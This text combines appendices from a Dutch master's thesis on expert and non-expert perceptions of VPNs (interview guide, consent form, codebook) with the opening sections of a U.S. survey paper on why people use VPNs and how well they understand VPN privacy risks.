2. Let’s see whether we can jog your memory. VPN is called
<name of VPN in firm> within <name of firm>.

C Questions how VPN works (not necessarily in this order)

1. Why do you use VPN?

– When?
– Where?

2. What actions do you take to create a VPN connection?

3. On what devices do you use a VPN?

4. How does a VPN work? / What happens when you make a VPN
connection?

5. Drawing exercise

– Basis scenario: Make a VPN connection at home
– Second scenario (different location): Make a VPN con-

nection at a coffee bar
– Third scenario (specific task): Send an e-mail with an

active VPN connection

D Questions changes in threat landscape

1. What is the influence of a VPN connection on your computer
security?

– Why?
– How?
– In drawing: draw influence in previous drawing.

2. What kinds of digital threats do you deal with on a normal day?

– How does the threat change because of the VPN connec-
tion?

3. What kinds of social threats do you deal with on a normal day?

– How does the kind of attacker change because of the VPN
connection?

– What would be an attacker’s intention?
– What would be an attacker’s capability?

4. What could be the impact of an attack?

– Why?
– How?

Vulnerabilities of VPN

5. How secure is a VPN connection?

6. If not 100% secure:

– Why?
– In drawing: draw where it is not secure and the cause
– How do your actions change because of this?
– What are the consequences of these insecurities?

E Example neutral continuation prompts

– Could you elaborate on that?

– Could you go into more detail about that?

– Sorry, could you explain what you mean with . . . ?

– What do you mean with . . . ?

– Why do you say . . . ?

– What is . . . ?
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B Informed Consent Form
Dear <name>,

In this e-mail I send you the consent form for the interview upcoming
<day>. In this consent form you will find more information regarding the
study and you can find to what you agree by participating in the study. Giving
consent can by replying on this e-mail, stating that you give consent. If you
have any questions regarding the interview or the consent form, you can
e-mail me or ask the questions at the beginning of the interview.

Information regarding the study, data process-
ing, and questions.
1. Background and aims of the study
The purpose of this research is to determine the similarities and differences
between experts and non-experts of their perception of VPN in a professional
services firm in the Netherlands. This study aims at empirically investigating
the perception of experts and non-experts on: 1) What a VPN is, 2) For what
purpose a VPN is used, 3) What the technical infrastructure of a VPN looks
like, 3) What the security benefits and/or risks of using a VPN are, 4) What
changes occur in the threat landscape when using a VPN, and 5) What the
impact of a possible attack could be when using VPN.

2. Do I have to participate?
You can ask questions about the study before deciding whether or not to par-
ticipate. If you do agree to participate, you may withdraw yourself from the
study at any time, without giving a reason and without penalty, by informing
the researchers of this decision.

3. What will happen in the study?
If you agree to take part in the study, you will be asked to participate in
an approximately 60 minute semi-structured interview in English or your
native language. The researcher will conduct the interview by using the
conferencing software Big Blue Button. As part of the interview a drawing
task will be completed using the whiteboard in the Big Blue Button. The
interview will be recorded, and transcribed to text after the interview has
taken place. The recording consists of audio, and video if the participants
chooses to enable video.

4. Are there any potential risks in taking part?
Interviews will be held with employees in a professional services firm on
their beliefs of how a VPN works. The knowledge of participants may be
different than expected from experts and/or non-experts. We aim to address
such concerns by:

a. Storing e-mail addresses, the recordings of the interviews, demographic
information, and a pdf file of the consent e-mail securely.

b. Anonymizing the transcriptions.
c. Summarizing demographic information.
d. Deleting the original e-mail from the e-mail inbox.
e. Destroying the collected e-mail addresses, recordings, original demo-

graphic data, and pdf file of the consent e-mails after the end of the
study.

5. Are there any benefits in taking part? There are no benefits involved
for the participants of the study.

6. What happens to the data provided? We will securely store all col-
lected data at the [company] laptop of the researcher. A back-up of the
collected data will be securely stored on [private cloud service used by the
university]. Nobody except the project research team will have access to the
data during the study period. The collected e-mail address, recording of the
interview, original demographic data, and pdf file of the consent e-mail will
be destroyed after the end of the study.

At no point will we ask for your name except to confirm your consent.
Consent will be confirmed by replying in an e-mail stating the participant
gives consent. We will ask for the participant’s educational qualifications,
education area, role in the firm, and years active in the firm. As this can be
used to identify certain individuals, we will treat this as personal data and
store it securely. The answers on the questions regarding personal data will
not be published per individual participant, but will be presented in the study
results in a summarized matter.

The participant has the right to request access to and rectification or
erasure of personal data.

The anonymized transcription, drawings made during the interview, and
summarized demographic data will be shared in products of the study and
in will be stored on the [public research data repository] for a minimum
retention period of 10 years after publication or public release of the work of
the research.

We ask participants for their permission to use direct quotes, these will be
attributed to a participant number.

7. Will the research be published?
The results will contribute to the completion of a master’s thesis project
and a paper submitted to an academic venue. To protect the participants’
anonymity we will anonymize all information relating to the participants and
the employer of the participants.

8. Who has reviewed this study?
This study has been reviewed by, and received ethics clearance through,
the Delft University of Technology Human Research Ethics Committee
(reference number: 55223).

9. Who do I contact if I have a concern about the study or I wish to
file a complaint?
If you have a concern about any aspect of this study, please speak to the
relevant researcher [first author], who will do their best to answer your query.
The researcher should acknowledge your concern within 10 working days
and give you an indication of how they intend to deal with it. If you remain
unhappy or wish to make a formal complaint, please contact the relevant
chair of the Human Research Ethics Committee at the [University] who will
seek to resolve the matter in a reasonably expeditious manner:

Chair, Human Research Ethics Committee; Email: HREC@tudelft.nl.
10. Contact details

If you would like to discuss the research with someone beforehand (or if you
have questions afterwards), please contact:

[First Author]
Email: [First Author’s email]

Consent Form
Taking part in the study
I have read and understood the study information dated <date>, or it has
been read to me. I have been able to ask questions about the study and my
questions have been answered to my satisfaction.
I consent voluntarily to be a participant in this study and understand that I
can refuse to answer questions and I can withdraw from the study at any time,
without having to give a reason.
I understand that taking part in the study involves participating in an audio
recorded interview. I understand that if I decide to enable video during the
interview this will also be recorded. I understand that part of the interview
includes a drawing task. I understand that the recorded interview will be
transcribed as text and anonymized and the recording will be destroyed after
the end of the study.

Use of the information in the study
I understand that information I provide will be used for a master thesis report
and publications in academic venues (like conferences or journals).
I understand that personal information collected about me that can identify
me, such as my name or email address, will not be shared beyond the study
team.
I agree that my information can be quoted in research outputs.
I agree to joint copyright of the drawings created during the interview to
[First Author].

Future use and reuse of the information by others
I give permission for the anonymized interview transcript, drawings made
during the interview, and summarized demographic information that I provide
to be archived in the 4TU.Centre for Research Data so it can be used for
future research and learning.

I look forward to your reply,

Kind regards,

[First Author]
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C Codebook

Table 2: Final codebook used during the qualitative analysis.
The table reports the codebook developed in our study. For each code we report how often it occurred (Total) and how many participants mentioned the
code during their interviews at all (Part.)

Experts Non-Exp. Experts Non-Exp.
(N = 11) (N = 7) (N = 11) (N = 7)

Code To
ta

l

Pa
rt

.

To
ta

l

Pa
rt

.

Code To
ta

l

Pa
rt

.

To
ta

l

Pa
rt

.

A. Reason for use E.3. Own VPN provider 4 2 1 1
A.1. Access internal network 34 11 14 7 E.4. Third party is VPN provider 13 4 1 1
A.2. Internal network: accessible w/o VPN con-
nection

2 1 - - E.5. VPN complete or split 5 2 - -

A.3. Internal network: impossible to directly con-
nect

16 9 8 4 E.6. VPN provider 4 2 - -

A.4. Mobile network used instead of unsecured
network

8 5 - - F. Secured connection

A.5. Not necessary when in office 8 5 - - F.1. Data is send to receiving point (RP) decrypted 6 4 - -
A.6. Not used when using mobile network 1 1 - - F.2. Data is send to RP encrypted 5 5 3 1
A.7. Secure communication 3 1 3 1 F.3. Encryption 37 8 9 4
A.8. Secure connection 13 9 3 2 F.4. Firewall can decrypt communication 1 1 - -
A.9. Security purpose general 3 3 2 2 F.5. Private IP for VPN server 4 1 - -
A.10. Use unsecured network if mobile network is
expensive

1 1 - - F.6. Private IP is only known by VPN server and
endpoint

1 1 - -

A.11. Used when using mobile network 5 3 - - F.7. Is encrypted between own device and VPN
server

10 6 1 1

A.12. Used when using unsecured network 7 6 3 3 F.8. Load balancer can decrypt comm. 2 1 - -
A.13. Virtual Private Network 7 6 2 2 F.9. Protocol 11 4 - -

B. Device F.10. Secured connection 41 11 7 4
B.1. Mobile 9 6 5 4 F.11. VPN filters traffic 20 5 - -
B.2. Personal computer 12 11 10 7 F.12. VPN includes antivirus 5 1 - -
B.3. Tablet 2 2 1 1 G. Metaphors

C. User actions to establish a connection G.1. Tunnel 29 8 9 1
C.1. Access token 12 7 - - G.2. Shield 3 3 - -
C.2. Access token: hardware token 15 10 7 6 H. Threats mitigated
C.3. Access token: software token 19 10 9 6 H.1. Block you from accessing a website 13 3 - -
C.4. Click connect to VPN 3 3 4 3 H.2. Does not mitigate all computer security

threats
18 8 2 1

C.5. Connect to Internet 6 5 2 2 H.3. Listening in on communication 15 8 12 4
C.6. Enter code access token 13 10 8 7 H.4. Masks IP 22 7 2 2
C.7. Enter password 13 10 8 6 H.5. More difficult for threat actor 8 6 6 4
C.8. Enter username 8 7 - - H.6. No access to files when access to device 4 4 2 2
C.9. Launch VPN software 7 7 9 7 H.7. Single point of attack from webtraffic threats 4 2 - -

D. Basic configuration H.8. Stop malicious software 15 3 - -
D.1. Authentication 15 8 5 3 H.9. Updates pushed 1 1 - -
D.2. Authentication by server 10 4 - - I. Change in user behavior
D.3. External server can function for only authori-
sation

3 2 - - I.1. Do not use VPN for private matters 2 2 - -

D.4. Internal network 35 9 9 5 I.2. Does not change 3 3 2 2
D.5. Internal network: uses allowlist for access
management

2 2 - - I.3. Only use VPN when necessary 2 2 - -

D.6. Internet 54 10 11 5 I.4. Prevent access by other persons 2 2 - -
D.7. Internet service provider 4 3 4 1 I.5. Separate devices for work and private use 2 2 - -
D.8. IP address 10 6 - - J. New threats due to VPN
D.9. IP used to identify endpoint 9 5 - - J.1. Access to device while VPN is connected 8 3 2 2
D.10. Make connection 7 3 9 5 J.2. Authentication measures 5 3 3 2
D.11. Make connection with server 24 9 1 1 J.3. Hacking 18 8 5 3
D.12. Server 45 7 11 4 J.4. Listening in on communication 1 1 1 1
D.13. Server: in demilitarized zone 1 1 - - J.5. Malfunction 1 1 - -
D.14. Server: inside corporate network 6 3 - - J.6. Malicious traffic can go through sec. layer 2 1 - -
D.15. Server: outside corporate network 4 2 - - J.7. More suspicious for state actor 2 1 - -
D.16. Webtraffic is routed through server 24 7 2 1 J.8. Server is compromised 11 5 1 1

E. Additional specifications J.9. Trace back IP 1 1 - -
E.1. Internal network segmentation 7 2 - - J.10. Use VPN when using unsecured network 2 1 1 1
E.2. One company can have multiple VPN
providers

1 1 - - J.11. VPN provider 10 3 2 2
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Abstract
Virtual Private Networks (VPNs) are often used to protect
online users’ privacy, but many VPNs do not guarantee pri-
vacy and may even compromise user privacy through leakage
of traffic flows, data collection and sharing, and so forth. In
this paper, we aim to understand the extent to which people
are aware of privacy and security risks when using VPNs,
as well as how they use and adopt VPNs in the first place.
To do so, we conducted a study of 729 VPN users in the
United States about their VPN usage habits and preferences.
Our study comprised 32 in-person interviews with university
students, a survey of 349 university students and a survey of
348 general VPN users on Prolific. We present three findings.
First, although a general population of VPN users primarily
use VPNs to improve privacy and security, students are addi-
tionally concerned with access to content (e.g., circumvention
of geographic restrictions). Second, both groups concluded
that VPNs collect data about them, exposing gaps in both men-
tal models about how VPNs work and awareness of the risks
of data collection. Finally, most users learned about VPNs
in high school or college and use free VPNs but feel safer
using VPNs provided by their institutions. These results could
form the basis of future research, awareness campaigns, and
regulatory activity.

1 Introduction
Virtual Private Networks (VPNs) [13] encrypt all network
traffic from a client device to an intermediate server, which
subsequently forwards traffic to an ultimate destination. Many
users rely on VPNs to improve their privacy, and many VPN
services are available, with companies from Cloudflare to
Facebook providing VPNs [10, 30, 34]. Some estimates in-
dicate that the VPN market has grown from $16.5 billion in
2016 to over $30 billion in 2020, and it is expected to grow at
an annual rate of over 15% between 2021 and 2027 [14, 15].
Yet, despite their relatively widespread use, and in spite of
their name, many VPNs fail to provide basic privacy guar-
antees. For example, some VPNs have accidentally leaked
user traffic, breaking security and privacy claims made by the
providers [20, 31]. Other VPNs may capture user traffic and
send the data to third parties for targeted advertising [9, 17].
At one point, Facebook Onavo collected application traffic
without notifying users [7, 42].

Given that many VPNs may introduce their own privacy
risks, it is imperative to understand whether users are aware
of these risks. A better understanding of user attitudes and
awareness concerning VPNs can shed light on possible im-
provements to VPNs, from technical design improvements

to awareness campaigns. Towards this goal, we posed the
following research questions:

• Why do people use VPNs?
• Are people aware of the security & privacy risks of

VPNs?
• How do people choose which VPNs to use?

To study these questions, we conducted a study of 729 VPN
users in the United States (U.S.). First we conducted 32 in-
person interviews with university students. We then surveyed
349 university students from one institution as well as a gen-
eral sample of 348 VPN users on Prolific. We chose to study
both university students and a general population of VPN
users for several reasons.

First and foremost, there are different types of VPNs, of-
fered by different organizations and institutions, for different
purposes; and yet, sometimes users may use VPNs for a vari-
ety of priorities and purposes. Specifically, universities typi-
cally offer a VPN to their students and employees to access
various content and services (e.g., at some universities, vari-
ous compute clusters and services are only available via VPN).
Thus, this population typically has better access to and aware-
ness about at least one VPN, affording at least a basic level
of familiarity with VPNs, if not more experience with VPN
usage. Second, in the general population, people may have
a broader range of goals for using VPNs, and their default
behavior may be to seek a commercial VPN of some type, as
opposed to using their university or employer’s VPN. Explor-
ing our questions with different target populations allows us
to understand our questions from a variety of perspectives,
given the wide-ranging purposes for VPNs.

Our study yields three important findings, which we discuss
in Section 4. First, the general population used VPNs more for
security and privacy and tended to use VPNs continuously; in
contrast, the student population tended to use VPNs more as a
way to access restricted content and would use them more on
demand. Both groups used free VPNs predominantly, but the
general population tended to be more skeptical of free VPNs.
The university students used VPNs to gain access to content
and materials at their institutions (e.g., restricted pages, library
materials), or to bypass censorship or filtering of content. For
these students, privacy and security were secondary consider-
ations. Second, most users were generally not familiar with
the technical details of how a VPN works, which often led
to misconceptions and misunderstandings about the privacy
guarantees that a VPN could provide. Some of these misun-
derstandings were more fundamental, suggesting that not only
did users not understand technically how VPNs work, but also
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they did not understand the capabilities and incentives for var-
ious VPN providers to collect data about them. For example,
although many users in both populations indicated that they
used a VPN to protect their data from “companies” in gen-
eral, they seemed unconcerned that the VPN provider itself
is a company (and, in the case of some, such as Facebook’s
Onavo VPN, even an advertiser) that is often gathering user
data for profit. Both groups concluded that data collection
practices of VPNs was a general consequence of being online.
Finally, both groups started using VPNs in high school or
college, and most participants selected VPNs based on cost,
security, and speed. The general population prioritizes safety
and security when selecting a VPN, but students primarily
care about accessing content and the general reputation of the
VPN provider. These findings suggest possible avenues for
future work for researchers and regulators; to improve mental
models of VPNs and to design ways to help users better dis-
tinguish between various use cases for VPNs and the broader
implications of VPN data collection.

2 Background and Related Work
We provide background on VPNs and survey related work,
including work studying privacy and security vulnerabilities
from VPNs, past studies of user attitudes about privacy, and
studies of user attitudes about VPNs.

Background: Virtual Private Networks Originally cre-
ated for enterprises to communicate securely, VPNs rapidly
gained broad commercial appeal as personal Internet usage
soared [16]. VPNs create a secure connection (“tunnel”) to a
server, from which a user can safely access a destination [44].
VPN providers can encrypt and authenticate this connection
using a number of methods with varying degrees of effec-
tiveness, including OpenVPN, Layer 2 Tunneling Protocol,
Internet Protocol Security, and several others [13]. From the
perspective of a network eavesdropper, the VPN user’s traffic
appears to be coming from the VPN server, as opposed to
from the user’s device. VPNs can be used to access desti-
nations on the Internet or on private networks, such as on a
private enterprise or campus network. Contrasting these insti-
tutional VPNs, commercial VPNs connect users to a server
that is not associated with a specific institution. Users may use
commercial VPNs to access blocked content, such as Twit-
ter in China [2] or to access location-restricted content [28].
Commercial VPN providers often offer multiple servers [29].

VPN Data Leakage Recent studies have illustrated the pri-
vacy pitfalls of VPNs. For instance, researchers studied 14
of the most popular VPN providers and found that most of
these providers unintentionally leak traffic to websites hosted
on IPv6 addresses [31]. Researchers have also found that off-
the-shelf VPN software is susceptible to passive and active
attacks, limiting their ability to provide anonymity [1, 3]. For
instance, a study of VPN apps in the Android marketplace
discovered that many VPNs send data to third-party trackers

or have security misconfigurations [17, 45]. Some of the data
collection that VPNs do may also be intentional. For example,
a study of commercial VPN providers found five providers
that implement transparent proxies, which inspect and modify
traffic that users send [20]. Our study adds to previous work
on VPN data leakage by investigating users’ awareness of
the privacy and security issues associated with VPNs, as well
as whether these issues impact user behavior and decisions
about which VPNs to use.

User Attitudes on Privacy There have been many stud-
ies of user attitudes on privacy and the Internet, which have
found that users are aware of privacy threats on the Internet
but often are either unable or unmotivated to protect them-
selves from those threats. Researchers have analyzed users’
mental models in their perceptions of the Internet more gen-
erally [19, 22, 23, 33]. For instance, users in the U.S. are con-
cerned about online tracking and want to control it in certain
situations [26,35,39,43], yet they are often confused as to how
tracking works and how they can protect themselves [38]. One
study suggested that a combination of awareness of, motiva-
tion to use, and knowledge of how to use privacy and security
tools affected people’s usage of these tools [11]. Another
study focused on online privacy and security attitudes and
behaviors found that while Internet users with stronger tech-
nical backgrounds were more aware of privacy and security
threats, they did not engage in more secure practices than their
less knowledgeable peers [19], with the exception of “expert
users” [8]. Previous research showed that 18-to-22 year olds
are likely to rely on strategies to make themselves less visible
online [32]. These phenomenon of tech-savvy and younger
users neglecting to use their knowledge to protect themselves
could have implications for VPN-focused studies. Similarly
to these studies, our work will also investigate user attitudes
about privacy and the impact of those attitudes on user behav-
ior. We expand on past work by focusing specifically on VPN
users, who may differ significantly from previous populations
that have been studied.

User Attitudes on VPNs Several studies have investigated
how and why people use VPNs. Researchers surveyed Pak-
istani Internet users and found that 57% of respondents used
VPNs to access YouTube while the website was censored in
2012 [21]. Past work explored how smartphone people used
VPNs when Facebook was banned in Sri Lanka [18]. Con-
trasting these two studies, our research concerns a different
demographic and is more extensive. Additionally, a study
conducted in the United Kingdom and Japan found that users
prioritize review ratings and price over interface and security
considerations when comparing VPN apps [40]. This study
also found differing priorities between UK and Japanese par-
ticipants, indicating that cultural background may affect user
perceptions of VPNs, necessitating our study of users living
in the U.S. [40]. In another European focused masters thesis,
a researcher described the perceptions of VPNs held by 11
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laypeople and 8 experts working at a professional service
firm in the Netherlands. This study found that, while experts’
concepts about VPNs tended to be more accurate than those
of laypeople, there was confusion among both groups about
how VPNs work and what threats are mitigated by using a
VPN [5]. In our paper, we similarly investigate user percep-
tions of VPNs, but we use a larger sample from more diverse
backgrounds in a different country, the U.S.

The most closely related study to our own specifically fo-
cused on users who adopt VPNs as a privacy-enhancing tech-
nology (PET) through a survey of 90 technologically savvy
Reddit users and students [27]. Similarly to our study, this pa-
per investigated why people adopt VPNs, and a common find-
ing across both papers is that many participants used VPNs
for reasons other than simply to achieve privacy (e.g., to cir-
cumvent geographic restrictions, for access control). However,
our study still fills a gap in the literature because it had a much
larger sample of participants, used more robust methods, and
investigated areas of VPN usage not covered in previous pa-
pers. The VPN-as-PET study had a much smaller sample
of VPN users—only 37 users in the survey had ever used
a VPN, an order of magnitude less than the size of our sur-
vey. Moreover, that study surveyed one group of participants,
while our methods include in-depth interviews and comparing
surveys from two distinct populations to determine the extent
to which our themes hold among students as well as in the
general population. Thus, our study can be used to comple-
ment and corroborate overlapping results from the previous
study, which is important given its limited sample size and
methods. Additionally, our research questions actually differ
substantially from those of the VPN-as-PET study apart from
the overlap in asking about VPN adoption. The other study
investigated why users abandon VPNs and the differences in
users with practical and emotional considerations for using
VPNs; our study did not focus on either of those questions,
instead investigating users’ choices of VPN technology and
mental models about how VPNs work and the guarantees that
they do and do not provide. Therefore, we believe that our
paper is an important contribution to the literature on VPNs
because it corroborates and expands on previous work, as well
as investigates novel questions about VPN usage.

3 Method

We conducted a two-part study of 729 U.S. users to answer
our research questions about how and why people use VPNs,
their mental models of VPNs, how they choose which VPN
to use, and their awareness and attitudes about data collection
practices of VPNs. In one part of the study, we interviewed
32 student VPN users from one university in the U.S. [37].
We also conducted a survey of 349 students from the same
university, and a survey of 348 VPN users from a general
population on Prolific. All aspects of this study were approved
by our institutions’ Institutional Review Boards (IRB).

3.1 Interviews
To explore user attitudes towards and behaviors with VPNs
and to help identify themes to explore more broadly in a
larger survey, we conducted semi-structured interviews of a
substantial number of student participants.

Interview Guide We designed our interview guide to get
a better understanding of participants’ knowledge and back-
ground and participants’ general privacy and security aware-
ness about VPNs. We first asked participants who they be-
lieved could collect data about them online and who they
would want to prevent seeing certain information about their
online habits. To understand users’ mental models of VPNs,
we then asked participants to describe how a VPN works in
their own words. Next, we asked how users’ learned about
VPNs and what their first experience using a VPN was. Next,
to understand how users select VPNs, we asked how partic-
ipants choose to use a particular VPN, how and why they
use a VPN, how participants felt when using a VPN, and
whether they used a paid or free version of their VPN(s).
Finally, we asked about likes, dislikes, and improvements
concerning current VPNs; to do so, we asked questions on
students’ knowledge of and usage patterns of different VPN
types, including specific VPNs they had used, their reasons
for selecting and using VPNs, and perceptions of data col-
lection by VPNs. Before participating in the semi-structured
interview, participants were asked to fill out a consent form
and a short questionnaire that asked about user’s academic
majors and other basic demographic information such as age,
gender, course of study, and general online habits.

3.1.1 Recruitment

We recruited 32 interview participants via our university’s
institutional survey research center (the “gold standard” for
constructing participant panels), as well as through social me-
dia platforms such as Twitter. Table 1 shows demographic
information about the interview participants, who were mostly
18–24 years old and undergraduate students (81%). We se-
lected only students who had used a VPN before and were
currently enrolled in our university’s undergraduate or grad-
uate program. We aimed to recruit a variety of international
and domestic students living in the U.S. so that this diverse
group could expand our knowledge and understanding of how
and why participants use VPNs. Interviews were conducted
in Summer and Fall 2018. Participants were compensated
with a $20 Amazon gift card. We conducted 23 interviews via
Skype, and another nine in-person on our university campus.
Each interview lasted for about one hour. Four interview par-
ticipants did not give consent to recording, so we collected
detailed notes in lieu of a recording. All other interviews were
audio recorded.

3.1.2 Data Analysis

We first transcribed all recorded interviews and developed an
extensive codebook to apply to the interview transcripts and
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Age # % Gender # % Origin # % Education/Current Enrollment # %
18 to 24 26 81% Female 17 53% United States 12 37.5% Postdoctoral Researchers 4 13%
25 to 34 5 16% Male 14 44% International 20 62.5% Graduate 2 6%
35 to 44 1 3% Other 1 3% Undergraduate 26 81 %

Table 1: The distribution over age, gender, origin and education status for 32 interview participants, at the time of collecting the data; 20
international participants came from 17 different countries.

Main Code Definitions
Reasons for VPN usage Motivations and goals behind VPN usage
What is a VPN? Mental model of a VPN
Guidelines when choosing VPN Personal preferences of VPN’s qualities and strategy in choosing a VPN
Trust in VPN provider Attitudes towards their VPN provider
Using institution related VPN Usage habits regarding institutional VPNs
Use or trust free VPN Attitudes towards commercial free VPNs
VPN practices Thoughts on VPNs’ data practices
What a VPN guarantees Assumptions about VPNs’ assertions
Tracking while using VPN Assumptions about protection that VPNs provide against tracking

Table 2: Summary of main codes reported in the interviews.

field notes. We used the Dedoose platform [12] for qualita-
tively coding the transcripts for a thematic analysis [36]. One
member of the research team first coded all of the interview
transcripts and a second member of the team performed a
second round of coding for consistency. When there were any
points of disagreement, this was discussed and resolved as
a team. We had 45 parent codes and including child codes,
we had a total of 1906 codes. Once the transcripts were all
coded, the whole research team met and discussed the codes
to identify nine parent codes of interest, shown in Table 2,
with 31 child codes as reflecting the main themes in the data.
For example, our main code Reasons for VPN usage had four
child-codes, which represented participants’ motivation be-
hind using VPNs: Bypass geographic firewalls, Work, Privacy,
Not Privacy/Security. To illustrate, an example quote linked
to Bypass geographic firewalls child-code was participant’s
26 testimony: ‘I have my mom reroute the U.S. IP (Internet
Protocol) address to a Mexican IP address with a VPN, so
then she could watch her Venezuelan TV (Television) shows.’

The primary coder then wrote summaries of these codes.
The research team reviewed the summaries and held regular
research meetings to decide on the final themes arising from
the interview data. Calculating inter-rater reliability (IRR)
is not necessary for the type of analysis that we performed,
because shared consensus can still be reached without this
measure in thematic analysis [4]. McDonald et al. also state
that calculating IRR is not necessary when coded data is
not the end product but instead part of the process to derive
concepts and themes, or in our case, as input for thematic
analysis [25].

3.2 Surveys
Based on the interview data and analysis, we then designed
a larger-scale survey to complement our interview data and
expand our knowledge about VPN users’ perspectives, which

we deployed to two different populations: university students
and general VPN users. These surveys were conducted to
determine what themes from the interviews held with a larger
sample of users of differing technological knowledge and
access to VPNs. For our surveys, we first pre-screened and
filtered out respondents who did not consent to the survey,
were under 18, or had never used a VPN. As in the inter-
views, we collected demographic information such as age,
gender, and course of study. In accordance with best prac-
tices, for the student population, we collected demographic
information at the beginning of the survey because this infor-
mation was used for screening; for the general population, we
moved these questions to the end of the survey to minimize
threat [6]. Notably, our demographic questions were slightly
different for university students and for general VPN users, as
we replaced university-specific questions, such as academic
major, with questions about vocation. Our survey asked for
background information about respondents’ perceptions and
concerns about online data collection, including the nature
of the data collected, who is collecting data, and why they
are collecting data. We also asked about respondents’ usage
patterns of different tools and tactics to combat online risks,
as well as how they sourced them.

The remainder of the survey asked similar questions as in
the interviews around users mental models of VPNs, their
expectations of VPNs for privacy and security, their usage
habits with VPNs and how they select VPNs. In our sur-
vey, we generally avoided open-ended questions to prevent
user fatigue and reduce the complexity of data analysis; as
a result, we asked only three open-ended questions. We also
avoided double-barreled questions, negative questions, and
biased wording [24]. We included two attention check ques-
tions that required a certain response to ensure respondents
were answering mindfully. Participants that had been inter-
viewed in the first part of our study were not allowed to take
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the survey, to avoid response bias. We piloted our survey with
our research team members as well as larger research groups
focused on usable privacy and security and human-computer
interaction. Based on our pilots, we altered the survey flow
and wording to ensure questions were clear.

3.2.1 Recruitment

Students We recruited university students from a large uni-
versity in the U.S. to take the survey which we created using
Qualtrics. We sent email invitations to a random sample (con-
taining 2,748 users) of the university population via the univer-
sity’s institutional survey research center. We aimed to reach
at least 5% of the university’s VPN-using student population
as recommended by Lazar [24]. We launched and conducted
the university student iteration of our survey between Febru-
ary 2019 and March 2019. Our large sample size allowed
us to collect 452 responses, of which 349 were completed,
passed our attention checks, and fit our recruiting criteria. The
average survey completion time was 15 minutes, excluding
35 surveys which took more than 2 hours complete, which we
assume occurred because people forgot to submit the survey
upon completion or completed it over several sittings. Our
final sample of 349 valid and completed responses is large
compared to the university’s overall population (4.3%). Ta-
ble 3 shows detailed demographic data of the respondents. As
with the interviews, the majority of the university respondents
were age 25 and under (79%). Participants with complete
valid responses were entered into a draw for one of two $250
Amazon gift cards.

General Population We recruited general VPN users on
Prolific, an online recruiting platform. We pre-screened for
participants who were currently living in the U.S. and who
had used a VPN before using a screener survey. We then di-
rected users to our main survey. We launched and conducted
the general VPN user iteration of our survey between Au-
gust 2021 and September 2021, and collected 530 responses,
of which 348 were completed, passed attention checks, and
fit our recruiting criteria. Notably, several responses had an-
swers copied from the Internet (e.g. to define how a VPN
works) or shared answers with other respondents, and we
filtered out these responses from our data set. The average sur-
vey completion time was 15 minutes. Participants were paid
approximately 15 dollars per hour for completing a survey
response in accordance with the minimum wage guidelines.

3.2.2 Data Analysis

We used Qualtrics and R to analyze the data from both itera-
tions of the survey. We first analyzed the response data using
tools built-in with Qualtrics. We limited our analysis to the
valid and complete responses. First, we performed descriptive
analysis on all the survey questions.

Certain questions were only shown if respondents selected
certain answers in both surveys. As such, questions that have
fewer data points than the sample size contain responses from

every applicable respondent. For Table 4, all respondents in
the university population were shown the questions but not
required to answer them. This issue was fixed before we
deployed the survey to a general population of VPN users.
In presenting our results, we show counts in terms of how
many participants were shown a question. Where applicable,
we also include counts for those who were not shown the
question or chose not to answer.

Similarly to the interviews, we qualitatively coded the open-
ended answers using a code book that was developed based
on multiple reads through the responses. The graphs show all
survey codes used for each question. One team member coded
all the responses for both surveys. A second team member
reviewed all the coded responses to ensure consistency and to
discuss any points of disagreement. Since the initial coding
pass was primarily done by the first researcher, we did not
calculate IRR. In the graphs, we report on the most prevalent
codes occurring in the survey data. In the graphs presented,
response count reflects the total number of participants who
chose an option. Oftentimes this was in answer to a “Check
all that apply” question, so the total of all the responses may
be greater than the number of participants if any participant se-
lected multiple options. In questions where participants were
asked to choose and rank options, we compute a weighted
score on the inverse ranking, where weights correspond to
1/r for a ranking of r [41].

When reporting our qualitative data, we refer to our inter-
view participants as “P”, our student survey participants as
“S”, and our general population survey participants as “G”.

3.3 Limitations
Our study has several limitations. First, we only recruited stu-
dents from one university in the U.S.. Although the university
makes a concerted attempt to recruit a diverse cross-section
of students, any single university may not be representative
of all university students. Second, our interviews and surveys
may be subject to recall bias which is difficult to avoid [24].
Third, our student interviews and survey were not completely
anonymous as they required survey participants who wished
to enter the raffle and all interview participants to submit an
email address. Interview participants were asked to meet with
a member of the research team in person which could affect
the respondents’ honesty. Fourth, our survey did not distin-
guish between precise notions of security and privacy, thus
participants could interpret these concepts differently. Finally,
we ran our survey of general VPN users almost two years
after running our survey of university students, which could
have affected responses based on changes in user perceptions
of VPNs or in VPNs themselves during this time.

4 Findings
We present findings on how and why people1 use VPNs, their
mental models of VPNs, and how they choose VPNs.

1We use “people” to refer to respondents in our study, not all people.
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Survey Age # % Gender # % Origin # % Education/Current Enrollment # %
18 to 25 274 79% Female 178 51% United States 257 74% Graduate 123 35%

University 26 to 35 74 21% Male 171 49% International 92 26% Undergraduate 226 65%
36+ 1 0%
18 to 24 157 45% Woman 205 59% United States 342 98% Graduate 82 24%
25 to 34 121 35% Man 134 39% International 6 2% Undergraduate 196 56%

General Population 35 to 44 52 15% Non-binary 7 2% High School 68 20%
45 to 54 18 5% Prefer not to disclose 1 0% < High School 2 0%

Prefer not to self describe 1 0%
Table 3: The distribution over age, gender, origin, and education status for the survey participants at the time of collecting the data. Our 92
international participants from the first survey came from 32 different countries. Our 6 international participants from the second survey came
from 5 different countries.

4.1 VPN Usage

The general population used VPNs more for security
and privacy (Figure 2), and thus tended to use VPNs
continually. Although the student population also val-
ued these goals, students tended to view VPNs more
as a way to access restricted content (Figure 2), and
would use VPNs more on-demand. All participants
used free VPNs predominantly (Table 4), but the gen-
eral population was more skeptical about the safety of
free VPNs. Both groups felt safest using institutional
VPNs. (Table 5)

4.1.1 Which VPNs Do Users Use?

General Population Figure 1 shows which types of VPNs
our respondents used. Most general population VPN respon-
dents used free commercial VPNs (186/348), while paid com-
mercial VPNs (122/348) were less popular.

School VPNs (111/348) and employer-provided VPNs
(109/348) were used by about one-third of our respondents.
Table 4 shows that Hotspot Shield (58/186) was a first choice
of free VPN among the general population. Other common
choices were Proton VPN (38/186), Betternet (32/186), Tun-
nelBear (28/186), and Hola (23/186).

The general population respondents also chose paid com-
mercial VPNs; they primarily used NordVPN (49/122), Ex-
pressVPN (39/122), Private Internet Access (16/122), IPVan-
ish (15/122) and TunnelBear (12/122). Overall, there was a
larger number of VPNs that were used by the general popula-
tion than the student population. This applies not only to paid
commercial VPNs, but also to free commercial VPNs.

The general population felt most safe using university or
employer-provided VPNs (Table 5). On the other hand, the
general population felt more vulnerable using free VPNs than
the student population and also placed more trust in paid
VPNs than the student population.

